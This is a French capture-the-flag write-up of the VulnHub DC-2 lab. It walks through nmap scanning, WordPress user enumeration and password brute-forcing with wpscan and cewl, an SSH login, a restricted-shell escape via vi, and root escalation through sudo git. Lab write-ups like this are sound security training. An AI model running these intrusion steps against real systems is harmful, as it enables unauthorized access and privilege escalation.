DC-2 ~ VulnHub

Bertrand #ProHacktive.io
ProHacktive
Published in
4 min readJun 1, 2020

Au programme aujourd’hui : VM DC-2 disponible sur VulnHub.com.

IP Kali Linux (Attaquant) : 192.168.1.154

IP VM DC-2 (Cible) : 192.168.1.74

Alors on nous dit qu’il y a plusieurs flags mais que seul le flag « root » est important à atteindre. On nous indique que le DHCP est activé et qu’il faudra ajouter « dc-2 » dans le fichier /etc/hosts. La première chose à faire va être de déterminer son adresse IP via netdiscover. La VM se trouve en 192.168.1.74.

echo “192.168.1.74 dc-2” >> /etc/hosts

Scanning :

On va lancer un Nmap pour déterminer les ports ouverts sur la VM

nmap -p- -A 192.168.1.74

Seul les ports 80 (HTTP) et 7744 (SSH) sont ouverts.

Enumération :

On accède via firefox à 192.168.1.74

On arrive sur une page avec principalement une image et un menu en bas de page. On voit tout de suite qu’il y a une entrée « Flag » dans celui-ci.

firefox dc-2/index.php/flag/

Alors on nous donne pas mal de pistes, c’est un blog sous Wordpress et on nous aiguille sur l’outil cewl pour générer la wordlist. On s’oriente vers wpscan pour chercher les utilisateurs :

wpscan — url http://dc-2 — enumerate p — enumerate t — enumerate u

Le wpscan nous indique 3 utilisateurs : admin, jerry et tom

echo “admin” > users.txt
echo “jerry” >> users.txt
echo “tom” >> users.txt

Exploitation :

Maintenant on va créer la wordlist pour les mots de passe :

cewl http://dc-2/ > password.txt

On peut maintenant lancer notre wpscan pour chercher des comptes dans le blog WordPress.

wpscan — url http://dc-2 -U users.txt -P password.txt

Et voilà, on trouve deux comptes : jerry/adipiscing et tom/parturient. On retourne sur le blog pour se connecter avec le compte « jerry ».

firefox http://dc-2/wp-login.php

Une fois connectée, on se rend dans la section « Pages ». On trouve une page « Flag 2 »

firefox http://dc-2/index.php/flag-2/

Le flag 2 nous indique qu’il faut exploiter autre chose que Wordpress. On va donc se tourner vers le port 7744 (SSH) pour essayer de se connecter avec un des comptes trouvés.

ssh tom@192.168.1.84 -p 7744

On arrive à se connecter en tant que « tom » et on trouve le fichier flag3.txt. En voulant l’ouvrir, on s’aperçoit qu’on ne peut pas l’ouvrir avec la commande « cat ». On est dans un shell restreint. On va tout d’abord lister les commandes qu’on est autorisé à lancer :

echo $PATH
ls /home/tom/usr/bin

Voici un article intéressant traitant du shell restreint :

https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Shells%20restreints%20-%20comment%20les%20detourner.pdf

Vous verrez à la page 42 Figure 3 qu’il est possible de mettre en place un shell escape via vim :

/home/tom/usr/bin/vim — cmd “set shell=/bin/bash” — cmd “shell”

Le shell restreint empêche l’utilisation des « / ». Soyons plus direct en utilisant l’éditeur :

vi
:set shell=/bin/bash
:shell

Il nous faut maintenant mettre à jour les variables PATH et SHELL :

export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL

Nous pouvons maintenant lire le contenu de « flag3.txt » :

ls
cat flag3.txt

Le contenu du flag3 nous indique qu’il va falloir basculer sur le compte de jerry pour la suite de l’aventure.

su jerry
cd
ls
cat flag4.txt

Escalade de privilège :

Voyons un peu quelles sont les commandes disponibles :

sudo -l

A disposition, on a la commande « git ».

sudo git help status
!/bin/bash

Et voilà !

id
cd /root
ls
cat final-flag.txt

--

--

Bertrand #ProHacktive.io
ProHacktive

Security Developer chez ProHacktive.io. Strong interest in pentesting and solving CTF (Ethical Hacker).